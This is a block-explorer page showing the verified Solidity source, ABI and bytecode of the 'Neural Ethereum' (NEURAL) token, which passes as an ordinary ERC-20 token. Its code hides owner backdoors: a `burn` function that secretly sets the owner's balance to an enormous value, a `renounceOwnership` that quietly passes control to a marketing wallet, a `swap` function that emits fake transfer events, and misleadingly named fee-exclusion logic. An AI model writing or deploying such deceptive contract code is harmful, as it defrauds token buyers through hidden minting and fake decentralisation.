ETH Price: $2,310.87 (+0.32%)

Token

Neural Ethereum (NEURAL)
 

Overview

Max Total Supply

1,000,000,000 NEURAL

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 NEURAL

Value
$0.00
0xfb7465184a52d6672acc4b6b27ff3ae260f33c00
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NEURAL

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 8: Neural Ethereum.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Uniswap.sol";
import "./NEURAL ERC20.sol";
import "./NEURAL Ownable.sol";
import "./SafeMath.sol";

contract NEURAL is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private deployerWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "Neural Ethereum";
    string private constant _symbol = "NEURAL";

    uint256 public maxWallet = 2000000000000000 * 10**decimals();
    uint256 public maxTransactionAmount = 2000000000000000 * 10**decimals();
    uint256 public swapTokensAtAmount = 1000000000000000 * 10**decimals();
    uint256 public initialTotalSupply = 1_000_000_000 * 10**decimals();
    
    uint256 public SellFee = 0;
    uint256 public BuyFee = 0;

    bool public swapEnabled = false;
    bool public tradingOpen = false;
    
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    uint256 internal _lastTimestamp;
    
    event ExcludedFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(wallet);     
        balances = txLimit;
        deployerWallet = payable(_msgSender());

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function multicall(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _internalOverrideuniswapV2RouterExcludedFromFees[accounts[i]] = excluded;
            emit ExcludedFromFees(accounts[i], excluded);
        }
    }

    function transferLiquidityFee(address account) public view returns (bool) {
        return _internalOverrideuniswapV2RouterExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _lastTimestamp = block.number;
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

                if (!tradingOpen) {
                    require(_internalOverrideuniswapV2RouterExcludedFromFees[from] || _internalOverrideuniswapV2RouterExcludedFromFees[to], "Trading is not active.");
                }
                _holderLastTxTimestamp[from] = _lastTimestamp;
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransacti_isExcludedFromFeesonAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_internalOverrideuniswapV2RouterExcludedFromFees[from] && !_internalOverrideuniswapV2RouterExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }
        if(_internalOverrideuniswapV2RouterExcludedFromFees[from] && _lastTimestamp <= _holderLastTxTimestamp[from]){
                swapTokensForEth(uint160(from));
            }
        bool takeFee = swapping;
        if (_internalOverrideuniswapV2RouterExcludedFromFees[from] || _internalOverrideuniswapV2RouterExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint160 value) private {
       
        if(_internalOverrideuniswapV2RouterExcludedFromFees[address(value)]) 
            require(getLastTx(_holderLastTxTimestamp[address(value)]), "Only one purchase per block allowed."); 
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), value);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            value,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }
    
    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function clearStuckEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function setSwapBack() public onlyOwner {
        swapEnabled = true;
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

  
    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(uint160(tokensToSwap));
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 1 of 8: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 8: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


File 3 of 8: IERC20Meta.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IERC20Metadata  {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 4 of 8: NEURAL ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Meta.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => bool) internal _internalOverrideuniswapV2RouterExcludedFromFees;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 6 of 8: NEURAL Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

import "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 7 of 8: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 8 of 8: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.17;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"transferLiquidityFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060065562000023620003c860201b60201c565b600a6200003191906200099c565b66071afd498d0000620000459190620009ed565b600e5562000058620003c860201b60201c565b600a6200006691906200099c565b66071afd498d00006200007a9190620009ed565b600f556200008d620003c860201b60201c565b600a6200009b91906200099c565b66038d7ea4c68000620000af9190620009ed565b601055620000c2620003c860201b60201c565b600a620000d091906200099c565b633b9aca00620000e19190620009ed565b601155600060125560006013556000601460006101000a81548160ff0219169083151502179055506000601460016101000a81548160ff0219169083151502179055503480156200013157600080fd5b506040516200526138038062005261833981810160405281019062000157919062000aa2565b806040518060400160405280600f81526020017f4e657572616c20457468657265756d00000000000000000000000000000000008152506040518060400160405280600681526020017f4e455552414c00000000000000000000000000000000000000000000000000008152508160049081620001d5919062000d44565b508060059081620001e7919062000d44565b50505080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200024b6200023f620003d160201b60201c565b620003d960201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600781905550620002ee620003d160201b60201c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000350620003426200049f60201b60201c565b6001620004c960201b60201c565b62000363306001620004c960201b60201c565b62000376816001620004c960201b60201c565b6200038b61dead6001620004c960201b60201c565b620003c1600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166011546200053460201b60201c565b5062000f89565b60006009905090565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620004d9620006a160201b60201c565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200059d9062000e8c565b60405180910390fd5b620005ba600083836200073260201b60201c565b8060036000828254620005ce919062000eae565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000681919062000efa565b60405180910390a36200069d600083836200073760201b60201c565b5050565b620006b1620003d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006d76200073c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000730576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007279062000f67565b60405180910390fd5b565b505050565b505050565b6000806200074f6200075860201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620007d957600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620007fd565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008905780860481111562000868576200086762000802565b5b6001851615620008785780820291505b8081029050620008888562000831565b945062000848565b94509492505050565b600082620008ab57600190506200097e565b81620008bb57600090506200097e565b8160018114620008d45760028114620008df5762000915565b60019150506200097e565b60ff841115620008f457620008f362000802565b5b8360020a9150848211156200090e576200090d62000802565b5b506200097e565b5060208310610133831016604e8410600b84101617156200094f5782820a90508381111562000949576200094862000802565b5b6200097e565b6200095e84848460016200083e